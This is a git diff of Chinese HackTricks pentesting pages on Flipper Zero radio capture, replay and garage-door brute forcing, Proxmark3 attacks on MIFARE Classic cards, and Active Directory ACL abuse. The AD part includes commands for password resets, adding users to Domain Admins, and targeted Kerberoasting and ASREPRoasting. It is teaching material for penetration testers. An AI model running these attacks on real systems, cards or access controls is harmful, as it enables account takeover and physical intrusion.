<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* 你在一家**网络安全公司**工作吗想要在HackTricks中看到你的**公司广告**吗?或者你想要**获取PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
* 你在一家**网络安全公司**工作吗?想要在 HackTricks 中看到你的**公司广告**吗?或者你想要**获取最新版本的 PEASS 或下载 HackTricks 的 PDF**吗?查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass),或者**关注**我在**推特**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **通过向**[**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享你的黑客技巧。**
</details>
## 简介 <a href="#kfpn7" id="kfpn7"></a>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Flipper Zero可以使用其内置模块在300-928 MHz的无线电频率范围内接收和发送信号可以读取、保存和模拟遥控器。这些遥控器用于与门、栅栏、无线锁、遥控开关、无线门铃、智能灯等进行交互。Flipper Zero可以帮助您了解您的安全性是否受到威胁。
找到最重要的漏洞以便更快地修复它们。Intruder 跟踪您的攻击面,运行主动威胁扫描,发现整个技术堆栈中的问题,从 API 到 Web 应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
## 介绍 <a href="#kfpn7" id="kfpn7"></a>
Flipper Zero 可以在 300-928 MHz 的范围内接收和发送无线电频率它内置的模块可以读取、保存和模拟遥控器。这些遥控器用于与门、栅栏、无线电锁、遥控开关、无线门铃、智能灯等进行交互。Flipper Zero 可以帮助您了解您的安全是否受到威胁。
<figure><img src="../../../.gitbook/assets/image (3) (2) (1).png" alt=""><figcaption></figcaption></figure>
## Sub-GHz 硬件 <a href="#kfpn7" id="kfpn7"></a>
Flipper Zero内置了一个基于[](https://www.st.com/en/nfc/st25r3916.html#overview)[CC1101芯片](https://www.ti.com/lit/ds/symlink/cc1101.pdf)和一个无线电天线的次1 GHz模块最大范围为50米。CC1101芯片和天线均设计用于在300-348 MHz、387-464 MHz和779-928 MHz频段工作。
Flipper Zero 内置了一个基于 [](https://www.st.com/en/nfc/st25r3916.html#overview)[CC1101 芯片](https://www.ti.com/lit/ds/symlink/cc1101.pdf) 和一个无线电天线的 sub-1 GHz 模块(最大范围为 50 米。CC1101 芯片和天线都设计用于在 300-348 MHz、387-464 MHz 和 779-928 MHz 频段工作。
<figure><img src="../../../.gitbook/assets/image (1) (8) (1).png" alt=""><figcaption></figcaption></figure>
@ -32,7 +40,7 @@ Flipper Zero内置了一个基于[](https://www.st.com/en/nfc/st25r3916.html#
如何找到遥控器使用的频率
{% endhint %}
在分析过程中Flipper Zero会在频率配置中扫描信号强度RSSI。Flipper Zero显示具有最高RSSI值的频率信号强度大于-90 [dBm](https://en.wikipedia.org/wiki/DBm)。
在分析过程中Flipper Zero 在频率配置中可用的所有频率上扫描信号强度RSSI。Flipper Zero 显示具有最高 RSSI 值的频率,信号强度大于 -90 [dBm](https://en.wikipedia.org/wiki/DBm)。
要确定遥控器的频率,请执行以下操作:
@ -44,20 +52,20 @@ Flipper Zero内置了一个基于[](https://www.st.com/en/nfc/st25r3916.html#
### 读取
{% hint style="info" %}
查找使用的频率的信息(也是找使用的频率的另一种方法)
查找使用的频率的信息(也是找使用的频率的另一种方法)
{% endhint %}
**读取**选项**监听配置的频率**上的指定调制方式:默认为433.92 AM。如果在读取时**发现了某些内容**,屏幕上会显示相关信息。这些信息可以用于将来复制信号。
**读取**选项**监听配置的频率**上的指定调制方式:默认为 433.92 AM。如果在读取时**找到了某些内容**,屏幕上会显示相关信息。这些信息可以用于将来复制信号。
在使用读取时,可以按下**左侧按钮**并进行**配置**。\
此时有**4种调制方式**AM270、AM650、FM328和FM476以及**存储的几个相关频率**
此时它有**4 种调制方式**AM270、AM650、FM328 和 FM476以及存储了**几个相关频率**
<figure><img src="../../../.gitbook/assets/image (28).png" alt=""><figcaption></figcaption></figure>
您可以设置**任何您感兴趣的频率**,但是,如果您**不确定遥控器使用的是哪个频率**请将Hopping设置为ON默认为Off然后按下按钮多次直到Flipper捕获到并提供您设置频率所需的信息。
您可以设置**任何您感兴趣的频率**,但是,如果您**不确定遥控器使用的是哪个频率**,请将 Hopping 设置为 ON默认为 Off然后按下按钮多次直到 Flipper 捕获到并提供您设置频率所需的信息。
{% hint style="danger" %}
在切换频率之间需要一些时间,因此在切换时发送的信号可能会被错过。为了获得更好的信号接收效果,请设置由频率分析仪确定的固定频率。
在切换频率之间需要一些时间,因此在切换时发送的信号可能会被错过。为了获得更好的信号接收,请设置由频率分析仪确定的固定频率。
{% endhint %}
### **读取原始数据**
@ -66,13 +74,13 @@ Flipper Zero内置了一个基于[](https://www.st.com/en/nfc/st25r3916.html#
在配置的频率上窃取(和重放)信号
{% endhint %}
**读取原始数据**选项**记录在监听频率上发送的信号**。这可以用于**窃取**信号并**重放**它。
默认情况下,**读取原始数据**也是在433.92 AM650上进行的但是如果使用读取选项发现您感兴趣的信号在**不同的频率/调制方式**上,您也可以通过按下左侧按钮(在读取原始数据选项中)进行修改。
**读取原始数据**选项**记录**在监听频率上发送的信号。这可以用于**窃取**信号并**重放**它。
默认情况下,**读取原始数据**也是在 433.92 的 AM650 上,但是如果使用读取选项发现您感兴趣的信号在**不同的频率/调制方式**上,您也可以通过按下左侧按钮(在读取原始数据选项中)进行修改。
### 暴力破解
如果您知道例如车库门使用的协议,可以**生成所有的代码并使用Flipper Zero发送它们**。这是一个支持常见类型的车库的示例:[**https://github.com/tobiabocchi/flipperzero-bruteforce**](https://github.com/tobiabocchi/flipperzero-bruteforce)\*\*\*\*
如果你知道车库门使用的协议就可以使用Flipper Zero生成所有的代码并发送它们。这是一个支持常见车库类型的示例[https://github.com/tobiabocchi/flipperzero-bruteforce](https://github.com/tobiabocchi/flipperzero-bruteforce)
### 手动添加
{% hint style="info" %}
@ -81,7 +89,7 @@ Flipper Zero内置了一个基于[](https://www.st.com/en/nfc/st25r3916.html#
#### [支持的协议列表](https://docs.flipperzero.one/sub-ghz/add-new-remote) <a href="#3iglu" id="3iglu"></a>
| Princeton\_433 (适用于大多数静态代码系统) | 433.92 | 静态 |
| Princeton\_433(适用于大多数静态代码系统) | 433.92 | 静态 |
| ---------------------------------------- | ------ | ---- |
| Nice Flo 12bit\_433 | 433.92 | 静态 |
| Nice Flo 24bit\_433 | 433.92 | 静态 |
@ -100,11 +108,11 @@ Flipper Zero内置了一个基于[](https://www.st.com/en/nfc/st25r3916.html#
### 支持的Sub-GHz供应商
请查看[https://docs.flipperzero.one/sub-ghz/supported-vendors](https://docs.flipperzero.one/sub-ghz/supported-vendors)中的列表
请查看[https://docs.flipperzero.one/sub-ghz/supported-vendors](https://docs.flipperzero.one/sub-ghz/supported-vendors)中的列表
### 地区支持的频率
### 地区支持的频率
请查看[https://docs.flipperzero.one/sub-ghz/frequencies](https://docs.flipperzero.one/sub-ghz/frequencies)中的列表
请查看[https://docs.flipperzero.one/sub-ghz/frequencies](https://docs.flipperzero.one/sub-ghz/frequencies)中的列表
### 测试
@ -115,16 +123,22 @@ Flipper Zero内置了一个基于[](https://www.st.com/en/nfc/st25r3916.html#
## 参考
* [https://docs.flipperzero.one/sub-ghz](https://docs.flipperzero.one/sub-ghz)
*
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
找出最重要的漏洞以便更快地修复它们。Intruder跟踪您的攻击面运行主动威胁扫描发现整个技术堆栈中的问题从API到Web应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm_source=referral&utm_campaign=hacktricks)。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* 你在一家**网络安全公司**工作吗想要在HackTricks中**宣传你的公司**吗?或者你想要**获取PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[NFT收藏品](https://opensea.io/collection/the-peass-family)——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 你在**网络安全公司**工作吗想要在HackTricks中看到你的公司广告吗或者想要访问最新版本的PEASS或下载PDF格式的HackTricks吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[NFT](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
</details>

View file

@ -2,25 +2,33 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* 你在一家**网络安全公司**工作吗想要在HackTricks中看到你的**公司广告**吗?或者你想要**获取PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
* 你在一**网络安全公司** 工作吗?你想在 HackTricks 中看到你的 **公司广告** 吗?或者你想获得 **PEASS 的最新版本或下载 HackTricks 的 PDF** 吗?查看 [**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family) 集合 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或 **关注** 我的 **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **通过向** [**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享你的黑客技巧。**
</details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
找到最重要的漏洞以便更快地修复它们。Intruder 跟踪您的攻击面,运行主动威胁扫描,发现整个技术堆栈中的问题,从 API 到 Web 应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
## 使用 Proxmark3 攻击 RFID 系统
首先,你需要有一个[**Proxmark3**](https://proxmark.com)并且[**安装软件及其依赖项**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux)[**s**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux)。
首先需要有一个 [**Proxmark3**](https://proxmark.com) 并且 [**安装软件及其依赖项**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux)[**s**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux)。
### 攻击 MIFARE Classic 1KB
它有**16个扇区**,每个扇区有**4个块**,每个块包含**16B**。UID位于扇区0块0中不能更改。\
要访问每个扇区,你需要**2个密钥****A**和**B**),它们存储在每个扇区的**块3**中(扇区尾部)。扇区尾部还存储了**访问位**,使用这两个密钥对**每个块**进行**读取和写入**权限控制。\
如果你知道第一个密钥,那么两个密钥都可以用来授予读取权限;如果你知道第二个密钥,那么两个密钥都可以用来授予写入权限(例如)。
它有 **16 个扇区**,每个扇区有 **4 个块**,每个块包含 **16B**。UID 在扇区 0 块 0 中(不能更改)。\
要访问每个扇区,你需要 **2 个密钥****A** **B**),它们存储在每个扇区的 **块 3** 中(扇区尾部)。扇区尾部还存储了 **访问位**,使用这两个密钥对每个块进行 **读取和写入** 权限控制。\
如果你知道第一个密钥,第二个密钥对于读取权限很有用,如果你知道第二个密钥,第一个密钥对于写入权限很有用(例如)。
可以执行多种攻击方法
```bash
@ -41,7 +49,7 @@ proxmark3> hf mf eset 01 000102030405060708090a0b0c0d0e0f # Write those bytes to
proxmark3> hf mf eget 01 # Read block 1
proxmark3> hf mf wrbl 01 B FFFFFFFFFFFF 000102030405060708090a0b0c0d0e0f # Write to the card
```
Proxmark3允许执行其他操作如窃听标签与读卡器之间的通信以尝试找到敏感数据。在这种卡片中您可以仅仅通过嗅探通信并计算使用的密钥因为使用的加密操作是薄弱的通过知道明文和密文您可以计算出它`mfkey64`工具)。
Proxmark3允许执行其他操作如窃听标签与读卡器之间的通信,以尝试找到敏感数据。在这种卡片中,您可以仅仅通过嗅探通信并计算使用的密钥,因为使用的加密操作是薄弱的,通过知道明文和密文,您可以计算出它(`mfkey64`工具)。
### 原始命令
@ -59,20 +67,27 @@ Valid ISO14443A Tag Found - Quiting Search
### 脚本
Proxmark3软件附带了一系列**自动化脚本**,您可以使用这些脚本执行简单的任务。要检索完整列表,请使用`script list`命令。然后,使用`script run`命令,后跟脚本的名称:
Proxmark3软件附带了一系列预加载的**自动化脚本**,您可以使用这些脚本执行简单的任务。要检索完整列表,请使用`script list`命令。然后,使用`script run`命令,后跟脚本的名称:
```
proxmark3> script run mfkeys
```
您可以创建一个脚本来**模糊测试标签读卡器**,通过复制一个**有效卡片**的数据,编写一个**Lua脚本**来**随机化**一个或多个随机**字节**,并检查读卡器在任何迭代中是否崩溃。
你可以创建一个脚本来**模糊测试标签读卡器**,通过复制一个**有效卡片**的数据,编写一个**Lua脚本**来**随机化**一个或多个随机**字节**,并检查读卡器在任何迭代中是否崩溃。
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
找到最重要的漏洞以便您可以更快地修复它们。Intruder跟踪您的攻击面运行主动威胁扫描发现整个技术堆栈中的问题从API到Web应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
{% embed url="https://www.intruder.io/?utm\_campaign=hacktricks&utm\_source=referral" %}
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 YouTube 🎥</strong></a></summary>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* 您在**网络安全公司**工作吗您想在HackTricks中看到您的**公司广告**吗?或者您想要访问**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[NFT收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 你在一家**网络安全公司**工作吗你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。**
</details>

View file

@ -2,7 +2,7 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* 你在一个**网络安全公司**工作吗你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
@ -12,17 +12,25 @@
</details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
找到最重要的漏洞以便您可以更快地修复它们。Intruder跟踪您的攻击面运行主动威胁扫描发现整个技术堆栈中的问题从API到Web应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
## 上下文
这个实验室是为了滥用Active Directory Discretionary Access Control Lists (DACLs)和Acccess Control Entries (ACEs)的弱权限。
这个实验室是为了滥用Active Directory Discretionary Access Control Lists (DACLs)和Acccess Control Entries (ACEs)的弱权限这些权限构成了DACLs
Active Directory对象如用户和组是可保护的对象DACL/ACEs定义了谁可以读取/修改这些对象(例如更改帐户名称,重置密码等)。
Active Directory对象(如用户和组)是可保护的对象DACL/ACEs定义了谁可以读取/修改这些对象(例如更改帐户名称,重置密码等)。
这里是"Domain Admins"可保护对象的一些ACEs示例
![](../../../.gitbook/assets/1.png)
作为攻击者我们对一些Active Directory对象权限和类型感兴趣:
作为攻击者我们对一些Active Directory对象权限和类型感兴趣
* **GenericAll** - 对对象拥有完全权限(添加用户到组或重置用户密码)
* **GenericWrite** - 更新对象的属性(例如登录脚本)
@ -34,7 +42,7 @@ Active Directory对象如用户和组是可保护的对象DACL/ACEs定
在这个实验室中我们将探索并尝试利用上述大部分ACEs。
值得熟悉所有[BloodHound edges](https://bloodhound.readthedocs.io/en/latest/data-analysis/edges.html)和尽可能多的Active Directory [Extended Rights](https://learn.microsoft.com/en-us/windows/win32/adschema/extended-rights),因为你永远不知道在评估过程中是否会遇到一个不常见的权限。
值得熟悉所有[BloodHound edges](https://bloodhound.readthedocs.io/en/latest/data-analysis/edges.html)和尽可能多的Active Directory [Extended Rights](https://learn.microsoft.com/en-us/windows/win32/adschema/extended-rights),因为你永远不知道在评估过程中可能会遇到一个不常见的权限。
## 用户上的GenericAll
@ -42,7 +50,7 @@ Active Directory对象如用户和组是可保护的对象DACL/ACEs定
```csharp
Get-ObjectAcl -SamAccountName delegate -ResolveGUIDs | ? {$_.ActiveDirectoryRights -eq "GenericAll"}
```
我们可以看到,我们的用户`spotless`确实拥有`GenericAll`权限,这有效地使攻击者能够接管该户:
我们可以看到,确实我们的用户`spotless`拥有`GenericAll`权限,这有效地使攻击者能够接管该户:
![](../../../.gitbook/assets/2.png)
@ -51,21 +59,21 @@ Get-ObjectAcl -SamAccountName delegate -ResolveGUIDs | ? {$_.ActiveDirectoryRigh
```bash
net user <username> <password> /domain
```
* **定向Kerberoasting**:您可以在该帐户上设置**SPN**,使用户成为**kerberoastable**然后对其进行kerberoast并尝试离线破解
* **有针对性的Kerberoasting**:您可以在该账户上设置一个**SPN**,使用户成为**kerberoastable**然后对其进行kerberoast并尝试离线破解
```powershell
# 设置SPN
Set-DomainObject -Credential $creds -Identity <username> -Set @{serviceprincipalname="fake/NOTHING"}
# 获取哈希
# 获取哈希
.\Rubeus.exe kerberoast /user:<username> /nowrap
# 清除SPN
Set-DomainObject -Credential $creds -Identity <username> -Clear serviceprincipalname -Verbose
# 您还可以使用工具https://github.com/ShutdownRepo/targetedKerberoast
# 获取一个或所有用户的哈希
# 获取一个或所有用户的哈希
python3 targetedKerberoast.py -domain.local -u <username> -p password -v
```
* **定向ASREPRoasting**:您可以通过**禁用** **预身份验证**来使用户**ASREPRoastable**然后对其进行ASREProast。
* **有针对性的ASREPRoasting**:您可以通过**禁用** **预身份验证**来使用户成为**ASREPRoastable**然后对其进行ASREProast。
```powershell
Set-DomainObject -Identity <username> -XOR @{UserAccountControl=4194304}
@ -73,7 +81,7 @@ Set-DomainObject -Identity <username> -XOR @{UserAccountControl=4194304}
## Group上的GenericAll权限
让我们看看`Domain admins`组是否有任何弱权限。首先,让我们获取其`distinguishedName`
让我们看看`Domain admins`组是否有任何弱权限。首先,让我们获取其`distinguishedName`
```csharp
Get-NetGroup "domain admins" -FullData
```
@ -91,7 +99,7 @@ net group "domain admins" spotless /add /domain
```
![](../../../.gitbook/assets/6.gif)
同样可以使用Active Directory或PowerSploit模块来实现:
同样可以通过Active Directory或PowerSploit模块实现:
```csharp
# with active directory module
Add-ADGroupMember -Identity "domain admins" -Members spotless
@ -102,7 +110,7 @@ Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.
## GenericAll / GenericWrite / Write on Computer/User
* 如果您在**计算机对象**上拥有这些权限,您可以执行[Kerberos **基于资源的受限委派**:接管计算机对象](../resource-based-constrained-delegation.md)。
* 如果您对用户拥有这些权限,您可以使用本页中[第一个方法](./#genericall-on-user)中解释的方法之一。
* 如果您对用户拥有这些权限,您可以使用本页中[第一个方法](./#genericall-on-user)中解释的方法之一。
* 或者,无论是在计算机还是用户上,您都可以使用**影子凭据**来冒充它:
{% content-ref url="shadow-credentials.md" %}
@ -155,7 +163,7 @@ Set-DomainUserPassword -Identity delegate -Verbose
```
![](../../../.gitbook/assets/14.png)
另一种不需要与密码安全字符串转换纠缠的方法是
另一种方法不需要与密码安全字符串转换相关的操作
```csharp
$c = Get-Credential
Set-DomainUserPassword -Identity delegate -AccountPassword $c.Password -Verbose
@ -199,27 +207,19 @@ Set-DomainObjectOwner -Identity Herman -OwnerIdentity nico
## 对用户的GenericWrite权限滥用
在Active Directory中GenericWrite权限允许用户对对象的属性进行写入操作包括对对象的许多敏感属性进行修改。这些属性包括用户密码、组成员资格和其他重要信息
在Active Directory中GenericWrite权限是一种特殊的权限,它允许用户对对象的属性进行写入操作,而不需要具体的写入权限。这意味着如果一个用户被授予了GenericWrite权限他可以修改对象的任何属性包括敏感属性而不需要其他特定的权限
攻击者可以通过滥用GenericWrite权限来实现持久性访问。以下是一种常见的滥用方法
攻击者可以利用这个权限来实现持久性滥用。他们可以通过修改用户的属性,将自己添加到目标用户的组中,或者修改目标用户的权限,以获取更高的权限。
1. 获取对目标用户的WriteProperty权限。
2. 使用WriteProperty权限修改目标用户的成员属性将攻击者的账户添加到目标用户所在的高权限组中。
3. 攻击者现在具有高权限组的成员身份,可以利用这些权限进行进一步的攻击,例如修改其他用户的属性、创建后门账户等。
以下是利用GenericWrite权限进行持久性滥用的步骤
这种滥用方法的关键在于获取对目标用户的WriteProperty权限。攻击者可以通过以下方式获取该权限
1. 确定目标用户的对象的Distinguished NameDN
2. 使用工具如PowerShell或代码将自己添加到目标用户的组中或修改目标用户的权限。
3. 验证修改是否成功。
- 利用已知的漏洞或弱密码来获取目标用户的凭证。
- 利用域内的其他权限滥用方法例如Pass the Hash攻击或Golden Ticket攻击。
这种滥用方法的危害性在于攻击者可以通过滥用GenericWrite权限实现对目标用户的持久性控制并且这种滥用方法很难被检测到。
为了防止GenericWrite权限的滥用可以采取以下措施
- 限制用户对敏感属性的写入权限。
- 定期审查高权限组的成员,并删除不必要的成员。
- 实施强密码策略,以防止密码被猜测或暴力破解。
- 定期审查域内的权限配置,确保没有存在滥用权限的漏洞。
通过采取这些措施可以减少攻击者滥用GenericWrite权限的风险并提高Active Directory的安全性。
为了防止这种滥用管理员应该审查和限制用户的权限确保只有必要的权限被授予。此外监控和审计Active Directory的变更也是非常重要的以便及时发现和响应任何异常活动。
```csharp
Get-ObjectAcl -ResolveGUIDs -SamAccountName delegate | ? {$_.IdentityReference -eq "OFFENSE\spotless"}
```
